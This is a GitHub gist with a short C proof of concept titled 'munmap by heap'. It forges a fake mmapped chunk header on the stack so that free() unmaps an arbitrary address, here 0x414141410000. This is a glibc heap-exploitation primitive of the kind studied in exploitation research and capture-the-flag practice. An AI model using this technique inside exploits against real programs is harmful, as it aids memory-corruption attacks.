Last active
September 16, 2017 06:15
-
-
Save Jinmo/f4b2bbd5bb6fe11f0d7d5f5b976b08e6 to your computer and use it in GitHub Desktop.
munmap by heap (relative address!)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// How to call munmap(0x414141410000, 0x20000) | |
// : the hard way | |
// tested on 64bit ubuntu | |
#define SIZE 0x20000 | |
int main() { | |
long long chunk[3]; | |
long long target; | |
target = 0x414141410000LL; | |
chunk[0] = -target + (long long)(chunk); | |
chunk[1] = (SIZE | 2) - chunk[0]; | |
printf("%p %p %p\n", chunk[0] + chunk[1], (long long int)chunk - chunk[0], target); | |
free(chunk + 2); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment